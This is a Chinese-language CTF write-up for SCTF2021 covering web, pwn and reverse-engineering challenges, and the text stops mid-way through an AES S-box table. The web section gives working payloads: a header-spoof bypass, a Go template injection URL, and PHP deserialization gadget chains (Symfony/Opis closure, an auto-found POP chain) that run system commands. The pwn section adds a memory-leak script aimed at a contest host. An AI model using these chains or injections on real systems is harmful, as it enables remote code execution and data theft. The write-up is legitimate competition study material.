Back
Featured image of post SCTF2021 Writeup by or4nge

SCTF2021 Writeup by or4nge

SCTF2021 14th

Web

loginme

第一步绕过本地验证,x-forwarded-forclient-ip 被过滤了,X-Real-IP:127.0.0.1 绕过

第二步是 gin 的模板注入,让 id 为一个不存在的值,age 为 {{.Password}} 就可以获得 admin 结构体中的 Password 变量值了。

http://124.71.166.197:18001/admin/index?id=5&age={{.Password}}

Upload_it

可以任意上传 /tmp 目录下文件, 可以直接写进 session 文件。查看 phpinfo 发现 session 的处理器是 php,于是可以把 upload_path|$serialize 写进 /tmp/sess_or4nge,然后改自己的 session_id 为 or4nge,即可触发反序列化。

利用给的 Composer.json:

"symfony/string": "^5.3",
"opis/closure": "^3.6"

结合出题人发布的文章 https://www.anquanke.com/post/id/217929#h2-3 找到一条链,其中 lazystring 的任意无参数函数调用接的是闭包函数 __invoke,可以将闭包函数序列化进去。

<?php
namespace Symfony\Component\String{
    require "path\to\autoload.php";
    class LazyString{
        private $value;
        public function __construct()
        {
            $func = function(){system("cat /flag");};
            $d = new \Opis\Closure\SerializableClosure($func);
            $this->value = $d;
        }

    }
    class UnicodeString{
        protected $string = '';
        public function __construct()
        {
            $this->string=new LazyString;
        }
    }
}
namespace {
    $exp=print(urlencode(serialize(new Symfony\Component\String\UnicodeString())));

}

其实这条链本地没有打通,原因是因为在 UnicodeString.php 里,对 $this->string 进行了限制

    public function __wakeup()
    {
        if (!\is_string($this->string)) {
            throw new \BadMethodCallException('Cannot unserialize '.__CLASS__);
        }

        normalizer_is_normalized($this->string) ?: $this->string = normalizer_normalize($this->string);
    }

但是猜到出题人以前发布过,直接盲打过去,RCE 成功。

upload_path|O%3A38%3A%22Symfony%5CComponent%5CString%5CUnicodeString%22%3A1%3A%7Bs%3A9%3A%22%00%2A%00string%22%3BO%3A35%3A%22Symfony%5CComponent%5CString%5CLazyString%22%3A1%3A%7Bs%3A42%3A%22%00Symfony%5CComponent%5CString%5CLazyString%00value%22%3BC%3A32%3A%22Opis%5CClosure%5CSerializableClosure%22%3A196%3A%7Ba%3A5%3A%7Bs%3A3%3A%22use%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22function%22%3Bs%3A32%3A%22function%28%29%7Bsystem%28%22cat+%2Fflag%22%29%3B%7D%22%3Bs%3A5%3A%22scope%22%3Bs%3A35%3A%22Symfony%5CComponent%5CString%5CLazyString%22%3Bs%3A4%3A%22this%22%3BN%3Bs%3A4%3A%22self%22%3Bs%3A32%3A%2200000000034bf950000000005225a861%22%3B%7D%7D%7D%7D

FUMO_on_the_Christmas_tree

强网杯 pop_master 魔改的题

首先是对 __invoke__call 的魔术方法的类进行改写,全部能改写为正常的形式:

import re
from base64 import b64decode

def erase_call(FILEIN, FILEOUT):
    fp = open(FILEIN, 'rb')
    fo = open(FILEOUT, 'wb')
    FILE = [_.decode().replace('\n', '') for _ in fp.readlines()]
    i = 0
    while i < len(FILE):
        line = FILE[i]
        if '__call' in line:
            l1, l2 = FILE[i + 1], FILE[i + 2]
            use_func = re.search(r'extract\(\[\$name => \'(.*)\'\]\);', l1)[1]
            pattern = re.search(r'if \(is\_callable\(\[\$this\-\>(.*)\, \$(.*)\]\)\)', l2)
            obj_name, func_name = pattern[1], pattern[2] 
            new_code = []
            new_code.append('    public function %s($value) {\n' % func_name)
            new_code.append('        if (is_callable([$this->%s, %s])) @$this->%s->%s($value);\n' % (obj_name, use_func, obj_name, use_func))
            new_code.append('    }\n')
            for j in new_code:
                fo.write(j.encode())
            i += 4
        else:
            fo.write((line + '\n').encode())
        i += 1
    fp.close()        
    fo.close()

def erase_invoke(FILEIN, FILEOUT):
    fp = open(FILEIN, 'rb')
    fo = open(FILEOUT, 'wb')
    FILE = [_.decode().replace('\n', '') for _ in fp.readlines()]
    i = 0
    while i < len(FILE):
        line = FILE[i]
        if '@call_user_func' in line:
            pattern = re.search(r'call_user_func\(\$this\-\>(.*)\, \[\'(.*)\' \=\> \$(.*)\]\);', line)
            # print(pattern)
            obj_name, use_func, func_para = pattern[1], pattern[2], pattern[3]
            # print(obj_name, use_func, func_para)
            new_code = "        if (is_callable([$this->%s, '%s'])) @$this->%s->%s(%s);\n" % (obj_name, use_func, obj_name, use_func, func_para)
            fo.write(new_code.encode())
        elif "__invoke" in line:
            l1, l2 = FILE[i + 1], FILE[i + 2]
            key = re.search(r'\$key = base64_decode\(\'(.*)\'\);', l1)[1]
            key = b64decode(key.encode()).decode()
            pattern = re.search(r'\$this\-\>(.*)\-\>(.*)\(\$value\[\$key\]\);', l2)
            try:
                obj_name, use_func = pattern[1], pattern[2]
            except:
                print(line)
                print(l1)
                print(l2)
            new_code = []
            new_code.append('    public function %s($value) {\n' % key)
            new_code.append('        if (is_callable([$this->%s, %s])) @$this->%s->%s($value);\n' % (obj_name, use_func, obj_name, use_func))
            new_code.append('    }\n')
            for j in new_code:
                fo.write(j.encode())
            i += 3
        else:
            fo.write((line + '\n').encode())
        i += 1
    fp.close()        
    fo.close()

erase_invoke('class.code.txt', 'mid_class.txt')
erase_call('mid_class.txt', 'final_class.txt')

在最终代码里手动把 namespace christmasTree 里去掉,之后进行 PHP_Paser 对这份代码进行语法树构建分析:

<?php
ini_set('memory_limit', '1024M');
require 'path\to\autoload.php';
error_reporting(0);
use PhpParser\Error; //use to catch error
use PhpParser\NodeDumper; //use to read node
use PhpParser\ParserFactory; //use to anlaysis code
use PhpParser\PrettyPrinter;

$inputPhpFile = 'final_class.txt';

$code = file_get_contents($inputPhpFile);

$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);
try {
    $stmts = $parser->parse($code);
} catch (Error $e) {
    echo "Parse error:{$e->getMessage()}\n";
    exit(0);
}
echo "[+] get file done\n";
$deleteCnt = 0;
$deleteCla = 0;
$nodeDumper = new NodeDumper;
$class_num = 0;

$func_list = array();
$fp = fopen("function_list.txt", "wb");
$fo = fopen("deploy_list.txt", "wb");
$fd = fopen("destination.txt", "wb");
foreach ($stmts as $k => $class_point) {
    if ($class_point->gettype() === 'Stmt_Nop')
        continue;
    if ($class_point->gettype() === 'Stmt_Class'){
        $class_name = $class_point->name->name;
        $class_num++;
        foreach ($class_point->stmts as $kk => $subpoint) {
            if ($subpoint->gettype() === 'Stmt_Nop')
                continue;
            if ($subpoint->gettype() === 'Stmt_Property') {
                ;
            }
            if ($subpoint->gettype() === "Stmt_ClassMethod") {
                $func_name = $subpoint->name->name;
                if ($func_name === '__destruct') {
                    $entrance = $class_name;
                    break;
                }
               if (!$subpoint->params) {
                    continue;
                }
                $parms = $subpoint->params[0]->var->name;
                fwrite($fp, $class_name.' '.$func_name."\n");
                $pass_way = "pass";
                foreach ($subpoint->stmts as $kkk => $method_point) {
                    if ($method_point->gettype() === 'Stmt_Expression') {
                        $assign_1 = $method_point->expr->expr->var->name;
                        $use_func = $method_point->expr->expr->expr->name->parts[0];
                        $assign_2 = $method_point->expr->expr->expr->args[0]->value->name;
                        if($use_func === null) {
                            $assign_2 = $method_point->expr->expr->expr->name;
                            $use_func = "pass";
                        }
                        else {
                            $func_list[$use_func] = 1;
                        }
                        if($assign_1 !== $assign_2) break;
                        $pass_way = $use_func;
                        if(in_array($pass_way, array("sha1", "md5", "crypt"))) {
                            break;
                        }

                    } else if($method_point->gettype() === 'Stmt_If') {
                        if ($method_point->stmts[0]->expr->name->parts[0] == "readfile") {
                            fwrite($fd, $class_name.' '.$func_name.' '.$parms."\n");
                            break;
                        }
                        $use_obj = $method_point->stmts[0]->expr->expr->var->name->name;
                        $use_func = $method_point->stmts[0]->expr->expr->name->name;
                        fwrite($fo, $class_name.' '.$func_name.' '.$use_obj." ".$use_func." ".$pass_way."\n");
                    }
                }
            }
        }
    }
}
echo '[+] filter done' . "\n";
echo $entrance;
fclose($fp);
fclose($fo);

构建把所有类的名称,函数,终点的类的函数,以及函数调用关系分别存储起来。 其中有一些污点过滤,比如 md5, sha1, ucfirst, crypt 的调用直接无视,赋值两边参数不等的也直接无视,另外发现 base64 解码的时候出现的不可见字符也会对后面产生影响,故把所有进行 base64_decode 部分全部剪掉。

然后手动加一下 __destruct 在文件里,把这三个文件放在一起,然后用C语言寻找可行链。

#include<bits/stdc++.h>
using namespace std;
#define mem(a,b) memset(a,b,sizeof(a))
typedef long long LL;
typedef pair<string, string> PII;
#define X first
#define Y second
inline int read() {
	int x = 0, f = 1; char c = getchar();
	while(!isdigit(c)){if(c == '-')f = -1;c = getchar();}
	while(isdigit(c)){x = x * 10+ c-'0'; c = getchar();}
	return x * f;
}
const int maxn = 20010;
struct Edge {
	int u, v, next;
	PII w;
	Edge(){}
	Edge(int _1, int _2, int _3, string _4, string _5): u(_1), v(_2), next(_3) {
		w = make_pair(_4,_5);
	}
}e[maxn<<4]; 
int first[maxn], ce = -1, tot, tag[maxn];
string name[maxn], func[maxn], use[maxn];
struct Class {
	string name, func;
	Class() {}
	Class(string _1, string _2):name(_1), func(_2) {}	
	bool operator < (const Class &s)const{
		if(name == s.name){
			return func < s.func;
		}
		return name < s.name;
	}
}a[maxn];
int pre[maxn], n;
PII prew[maxn]; 
void addEdge(int a,int b, string c,string d) {
	e[++ce] = Edge(a, b, first[a], c, d); first[a] = ce;
}	
map<Class, int> M;
int match(Class A,string use_func, string use_obj, string pass)
{
	for (int i = 1; i <= n; i++) {
		if (M[A] == i) continue;
		if (use_func == a[i].func) {
			addEdge(M[A], M[a[i]], use_obj, pass);
		}
	}
}
bool vis[maxn];
int count_chain;
void dfs(int now, int fa) {
	vis[now] = 1;
	if (tag[now]) {
		count_chain ++;
		int tmp = now;
		cout << a[tmp].name << ' ' << a[tmp].func << endl; 
		string use_obj = prew[tmp].X, pass_way = prew[tmp].Y;
		tmp = pre[tmp];
		while(tmp != -1) {
			cout << a[tmp].name << ' ' << a[tmp].func << ' ' << use_obj << ' ' << pass_way << endl;
			use_obj = prew[tmp].X, pass_way = prew[tmp].Y;
			tmp = pre[tmp];
		}
		cout << endl;
		return;
	}
	for (int i = first[now]; i != -1; i = e[i].next) {
		if(e[i].v != fa && !vis[e[i].v]) {
			if(e[i].w.Y == "base64_encode")continue;
			if(e[i].w.Y == "ucfirst")continue;
			pre[e[i].v] = now;
			prew[e[i].v] = e[i].w;
			dfs(e[i].v, now);
		}
	}
}
int main() {
	mem(first, -1);
	freopen("data.txt", "rb", stdin);
	freopen("ans.txt", "w", stdout);
	int start = 1;
	n = read();
	string params;
	for (int i = 1; i <= n; i++) {
		cin >> name[i] >> func[i];
		a[i] = Class(name[i], func[i]);
		M[a[i]] = i;
	} 	 
	int m = read();
	for(int i=1;i<=m;i++){
		string class_name, func_name, use_obj, use_func, pass_way;
		cin >> class_name >> func_name >> use_obj >> use_func >> pass_way;//$class_name.' '.$func_name.' '.$use_obj." ".$use_func." ".$pass_way
		int id = 1;
		for (int j = 1; j <= n; j++)
			if (class_name == name[j] && func_name == func[j]) {
				id = j;
				break;
			}
		match(a[id], use_func, use_obj, pass_way);
	}
	int o = read();
	for (int i = 1; i <= o; i++) {
		string x, y, z;
		cin >> x >> y >> z;
		int id = 0;
		for (int j = 1; j <= n; j++)
			if(x == name[j] && y == func[j]) {
				id=j;
				break;
			}
		if(id==0)cout<<x<<' '<<y<<endl;
		tag[id] = 1;
	}
	pre[start] = -1;
	dfs(start, -1);
	cout<<count_chain;
	return 0;
}

刚好只有一条可行链,倒序打印链:

AN9pNsmlT Fhh5TZoD0
Ugh4SYk00D bLqi60vf tQF7ER str_rot13
xEFW8yw08 gvgCPyi nYuAuh2 str_rot13
Xl5V1fEbzD Z5G5uz fgVgm4TV97 pass
d9vgRnlEA trZx9DLGq T4rUU9R base64_decode
Ronyv7u Uaxr3XOrz uDQ0ehd4p strrev
T6Y5QYS GP5h5gz p9mwE7l str_rot13
SKVnfvfbas gkbXYD UOvWbl pass
o5d0ioNZ vBmg2S exGoDOPm str_rot13
FK0LfIlrxm uxVcfoc gZ9IzdbF6T pass
eHSt3I5L30 YbMfp8D9 exoEH1 pass
c76So3oF EttYcl6 cwQWOIEL strrev
u1q3m04qZb EtQ6pQB NGIlAGGLv pass
xT506K QiVLzL Dblxvn pass
p6NArTi YgmXN30 VbpsE7wqUH base64_decode
ezlgUUHCdQ lwUpo3 fDViVU pass
uGnuU5pGgQ cc60Kte4Em XbW5o6yiGv base64_decode
GGcIkQ6E a2l0Eeqr CK5OgoyC strrev
vS1qenzGWr kR5Y66g yrVWMn9 pass
amg2Vw __destruct PCR49GlRM pass

根据上述链的写脚本构造 poc:

fp = open('popchain.txt', 'r')
fo = open('poc.php', 'w')
fo.write('<?php\nnamespace christmasTree{\n')
line_list = []
for line in fp.readlines():
    line = line.replace('\n', '')
    line_list.append(line)
line_list = line_list[::-1]
for i, line in enumerate(line_list[:-1]):
    class_name, func_name, use_obj, _ = line.split(' ')
    if i == 0:
        start_point = class_name
    next_name = line_list[i + 1].split(' ')[0]
    print(class_name, func_name, use_obj, next_name)
    payload = '''class %s{
        public $%s;
        public function __construct(){
            $this->%s = new %s();
        }
    }
    ''' % (class_name, use_obj, use_obj, next_name)
    fo.write(payload + '\n')
class_name, func_name = line_list[-1].split(' ')
payload = '''class %s{
        public $%s;
    }
    ''' % (class_name, use_obj)
fo.write(payload + '\necho urlencode(serialize(new %s()));}' % start_point)
print(class_name, func_name)

生成的 poc 不能直接打通,因为要求类内所有 public 属性都要进行赋值,对生成的 poc 还需要手动修改,对未利用的对象赋为 stdClass() 最终的poc:

<?php
namespace christmasTree{
class amg2Vw{
        public $PCR49GlRM;
        public function __construct(){
            $this->PCR49GlRM = new vS1qenzGWr();
        }
    }
    
class vS1qenzGWr{
        public $yrVWMn9;
    public $S839pvNRU;
        public function __construct(){
            $this->yrVWMn9 = new GGcIkQ6E();
            $this->S839pvNRU = new \stdClass();
        }
    }
    
class GGcIkQ6E{
        public $CK5OgoyC;
    public $Vkyud3;
        public function __construct(){
            $this->CK5OgoyC = new uGnuU5pGgQ();
            $this->Vkyud3 = new \stdClass();
        }
    }
    
class uGnuU5pGgQ{
        public $XbW5o6yiGv;
    public $XEH9BQ;
        public function __construct(){
            $this->XbW5o6yiGv = new ezlgUUHCdQ();
            $this->XEH9BQ = new \stdClass();
        }
    }
    
class ezlgUUHCdQ{
        public $fDViVU;
        public function __construct(){
            $this->fDViVU = new p6NArTi();
        }
    }
    
class p6NArTi{
        public $VbpsE7wqUH;
    public $yKwNrpRAQ;
        public function __construct(){
            $this->VbpsE7wqUH = new xT506K();
            $this->yKwNrpRAQ = new \stdClass();
        }
    }
    
class xT506K{
        public $Dblxvn;
    public $sPEbogX4;
        public function __construct(){
            $this->Dblxvn = new u1q3m04qZb();
            $this->sPEbogX4 = new \stdClass();
        }
    }
    
class u1q3m04qZb{
        public $NGIlAGGLv;
        public function __construct(){
            $this->NGIlAGGLv = new c76So3oF();
        }
    }
    
class c76So3oF{
        public $cwQWOIEL;
    public $rHYG3Wr;
        public function __construct(){
            $this->cwQWOIEL = new eHSt3I5L30();
            $this->rHYG3Wr = new \stdClass();
        }
    }
    
class eHSt3I5L30{
        public $exoEH1;
    public $UO4yLd;
        public function __construct(){
            $this->exoEH1 = new FK0LfIlrxm();
            $this->UO4yLd = new \stdClass();
        }
    }
    
class FK0LfIlrxm{
        public $gZ9IzdbF6T;
    public $Q7mg44bg;
        public function __construct(){
            $this->gZ9IzdbF6T = new o5d0ioNZ();
            $this->Q7mg44bg = new \stdClass();
        }
    }
    
class o5d0ioNZ{
        public $exGoDOPm;
    public $TEODq2c3Uo;
        public function __construct(){
            $this->exGoDOPm = new SKVnfvfbas();
            $this->TEODq2c3Uo = new \stdClass();
        }
    }
    
class SKVnfvfbas{
        public $UOvWbl;
    public $m4pnFndZoX;
        public function __construct(){
            $this->UOvWbl = new T6Y5QYS();
            $this->m4pnFndZoX = new \stdClass();
        }
    }
    
class T6Y5QYS{
        public $p9mwE7l;
    public $aysl2yR5g;
        public function __construct(){
            $this->p9mwE7l = new Ronyv7u();
            $this->aysl2yR5g = new \stdClass();
        }
    }
    
class Ronyv7u{
        public $uDQ0ehd4p;
    public $uqkULP0XD;
        public function __construct(){
            $this->uDQ0ehd4p = new d9vgRnlEA();
            $this->uqkULP0XD = new \stdClass();
        }
    }
    
class d9vgRnlEA{
        public $T4rUU9R;
        public function __construct(){
            $this->T4rUU9R = new Xl5V1fEbzD();
        }
    }
    
class Xl5V1fEbzD{
        public $fgVgm4TV97;
        public function __construct(){
            $this->fgVgm4TV97 = new xEFW8yw08();
        }
    }
    
class xEFW8yw08{
        public $nYuAuh2;
        public function __construct(){
            $this->nYuAuh2 = new Ugh4SYk00D();
        }
    }
    
class Ugh4SYk00D{
        public $tQF7ER;
        public function __construct(){
            $this->tQF7ER = new AN9pNsmlT();
        }
    }
    
class AN9pNsmlT{
        public $Ipz7D3;
    public function __construct(){
        $this->Ipz7D3 = new \stdClass();
    }
    }
    
echo urlencode(serialize(new amg2Vw()));}

同时对pop链中的所有编码过程进行逆向,得到最终要进行读 /fumo 的编码结果:

<?php
$fp = fopen("popchain.txt", "r");
$payload = '/fumo';
$line = fgets($fp);
$list = array();
while(! feof($fp)) {
    $line = fgets($fp);//fgets()函数从文件指针中读取一行
    array_push($list, trim($line));
    $line = trim(explode(" ",$line)[3]);
    echo $line."\n";
    if($line === "pass") {
        continue;
    } else if($line === "base64_decode") {
        $payload = base64_encode($payload);
    } else if($line === "ucfirst") {
        continue;
    } else if($line === "strrev") {
        $payload = strrev($payload);
    } else if($line === "str_rot13") {
        $payload = str_rot13($payload);
    }
}
echo $payload."\n";
$list = array_reverse($list);
foreach($list as $line){
    $line = explode(" ",$line)[3];
    if($line === "pass") {
        continue;
    } else if($line === "base64_decode") {
        $payload = base64_decode($payload);
    } else if($line === "ucfirst") {
        continue;
    } else if($line === "strrev") {
        $payload = strrev($payload);
    } else if($line === "str_rot13") {
        $payload = str_rot13($payload);
    }
}
echo $payload;
fclose($fp);

最终序列化链:

O%3A20%3A%22christmasTree%5Camg2Vw%22%3A1%3A%7Bs%3A9%3A%22PCR49GlRM%22%3BO%3A24%3A%22christmasTree%5CvS1qenzGWr%22%3A2%3A%7Bs%3A7%3A%22yrVWMn9%22%3BO%3A22%3A%22christmasTree%5CGGcIkQ6E%22%3A2%3A%7Bs%3A8%3A%22CK5OgoyC%22%3BO%3A24%3A%22christmasTree%5CuGnuU5pGgQ%22%3A2%3A%7Bs%3A10%3A%22XbW5o6yiGv%22%3BO%3A24%3A%22christmasTree%5CezlgUUHCdQ%22%3A1%3A%7Bs%3A6%3A%22fDViVU%22%3BO%3A21%3A%22christmasTree%5Cp6NArTi%22%3A2%3A%7Bs%3A10%3A%22VbpsE7wqUH%22%3BO%3A20%3A%22christmasTree%5CxT506K%22%3A2%3A%7Bs%3A6%3A%22Dblxvn%22%3BO%3A24%3A%22christmasTree%5Cu1q3m04qZb%22%3A1%3A%7Bs%3A9%3A%22NGIlAGGLv%22%3BO%3A22%3A%22christmasTree%5Cc76So3oF%22%3A2%3A%7Bs%3A8%3A%22cwQWOIEL%22%3BO%3A24%3A%22christmasTree%5CeHSt3I5L30%22%3A2%3A%7Bs%3A6%3A%22exoEH1%22%3BO%3A24%3A%22christmasTree%5CFK0LfIlrxm%22%3A2%3A%7Bs%3A10%3A%22gZ9IzdbF6T%22%3BO%3A22%3A%22christmasTree%5Co5d0ioNZ%22%3A2%3A%7Bs%3A8%3A%22exGoDOPm%22%3BO%3A24%3A%22christmasTree%5CSKVnfvfbas%22%3A2%3A%7Bs%3A6%3A%22UOvWbl%22%3BO%3A21%3A%22christmasTree%5CT6Y5QYS%22%3A2%3A%7Bs%3A7%3A%22p9mwE7l%22%3BO%3A21%3A%22christmasTree%5CRonyv7u%22%3A2%3A%7Bs%3A9%3A%22uDQ0ehd4p%22%3BO%3A23%3A%22christmasTree%5Cd9vgRnlEA%22%3A1%3A%7Bs%3A7%3A%22T4rUU9R%22%3BO%3A24%3A%22christmasTree%5CXl5V1fEbzD%22%3A1%3A%7Bs%3A10%3A%22fgVgm4TV97%22%3BO%3A23%3A%22christmasTree%5CxEFW8yw08%22%3A1%3A%7Bs%3A7%3A%22nYuAuh2%22%3BO%3A24%3A%22christmasTree%5CUgh4SYk00D%22%3A1%3A%7Bs%3A6%3A%22tQF7ER%22%3BO%3A23%3A%22christmasTree%5CAN9pNsmlT%22%3A1%3A%7Bs%3A6%3A%22Ipz7D3%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7D%7D%7D%7D%7Ds%3A9%3A%22uqkULP0XD%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A9%3A%22aysl2yR5g%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A10%3A%22m4pnFndZoX%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A10%3A%22TEODq2c3Uo%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A8%3A%22Q7mg44bg%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A6%3A%22UO4yLd%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A7%3A%22rHYG3Wr%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7D%7Ds%3A8%3A%22sPEbogX4%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A9%3A%22yKwNrpRAQ%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7D%7Ds%3A6%3A%22XEH9BQ%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A6%3A%22Vkyud3%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A9%3A%22S839pvNRU%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7D%7D

然后调用的参数:9ADRPhlSX1UYKREV 即可读到 /fumo

Pwn

dataleak

核心是调用了 cJSON_Minify 这个函数,这个函数差不多就是省略调所有的注释,读给的 libc 的源码可以发现,/* 在判断 \x00 后仍然有 +=2 这个操作于是可以弥补调读入 0xe 剩下的两个空字节,然后可以分段泄露出data

from pwn import *
import sys
context(os='linux', arch='amd64', log_level='debug')

if len(sys.argv) < 2:
    debug = True
else:
    debug = False

if debug:
    p = process("./cJSON_PWN")
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else:
	p = remote("124.70.202.226", 2101)

    
def debugf(b=0):
    if debug:
        if b:
            gdb.attach(p,"b *$rebase({b})".format(b = hex(b)))
        else:
            gdb.attach(p)
            
elf = ELF('./cJSON_PWN')



ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)

debugf(0x120D)

# sn(b"a"*14)
# sn(p64(elf.got["read"]))

sn(b"aaaaaaaaaaa/*a")
sn(b"aaaaa/*" + b"b"*7)

sn(b"aaaaa/*" + b"a"*7)
sn(b"/*" + b"b"*12)


p.interactive()

Re

godness dance

输入长度 28

上来是个哈希表做字母频率统计,iu 出现两次,其余 a-z 出现一次

然后将 0-28 依次放到一个数组里,看了一下密文,发现也是 0-28

后面的逻辑每分析出来,于是尝试选择明文攻击(后来得知后面的逻辑只是混淆)

input:   abcdefghijklmnopqrstuvwxyziu
output:  0,  1,  2,  3,  4,  5,  6,  7,  8,  9,  27,  10,  11,  12,  13,  14,  15,  16,  17,  18,  19,  20,  28,  21,  22,  23,  24,  25,  26

input:   abcdefghijklmnopqrstuvwxyzui
output:  0,  1,  2,  3,  4,  5,  6,  7,  8,  28,  9,  10,  11,  12,  13,  14,  15,  16,  17,  18,  19,  20,  27,  21,  22,  23,  24,  25,  26

input:   abcdefghijklmnopqrstuvwxyizu
output:  0,  1,  2,  3,  4,  5,  6,  7,  8,  9,  26,  10,  11,  12,  13,  14,  15,  16,  17,  18,  19,  20,  28,  21,  22,  23,  24,  25,  27

input:   zyxwvutsrqponmlkjihgfedcbaiu
output:  0,  26,  25,  24,  23,  22,  21,  20,  19,  18,  27,  17,  16,  15,  14,  13,  12,  11,  10,  9,  8,  7,  28,  6,  5,  4,  3,  2,  1

input:   bacdefghijklmnopqrstuvwxyziu
output:  0,  2,  1,  3,  4,  5,  6,  7,  8,  9,  27,  10,  11,  12,  13,  14,  15,  16,  17,  18,  19,  20,  28,  21,  22,  23,  24,  25,  26


flag: 
waltznymphforquickjigsvexbud
target: 0,  2,  26,  17,  28,  24,  11,  21,  10,  16,  20,  19,  18,  3,  8,  6,  12,  9,  14,  13,  22,  4,  27,  15,  23,  1,  25,  7,  5

根据动调的结果,判断最后的密文就是把 a-z 的 index 依次放上来

手动还原 flag

CPlusExceptionEncrypt

异常处理,在所有的 begin_catch 下面下断点就能恢复流程

第一个加密是魔改后的tea

v0 += (sum + i) ^ (((v1 >> 5) + k3) ^ (sum1 + v1) ^ ((v1 << 4) + k2))
v1 += (sum + i) ^ (((v0 >> 5) + k1) ^ (sum1 + v0) ^ ((v0 << 4) + k0))

tea 之后对计算结果依次异或 s, c, t, f

随后进行 AES 轮密钥生成,对拍发现没有魔改

接下来是魔改后的 AES:

  • 修改了最开始的轮密钥加:每个字节另外异或 0x66
  • 随后执行的应该是 9 轮加密
    • subbyte 用的是 inv_s_box
    • 然后用的是 inv_shift_rows
    • 然后是正向列混淆
    • 正向的轮密钥加
  • 最后是正常的字节替换,行移位和轮密钥加

解密脚本:

aes.py

from galois import GF2 as _GF2

_aes_s_box = [
    [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76],
    [0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0],
    [0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15],
    [0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75],
    [0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84],
    [0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf],
    [0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8],
    [0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2],
    [0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73],
    [0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb],
    [0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79],
    [0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08],
    [0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a],
    [0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e],
    [0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf],
    [0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16]
]
_aes_s_box_inverse = [
    [0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb],
    [0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb],
    [0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e],
    [0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25],
    [0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92],
    [0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84],
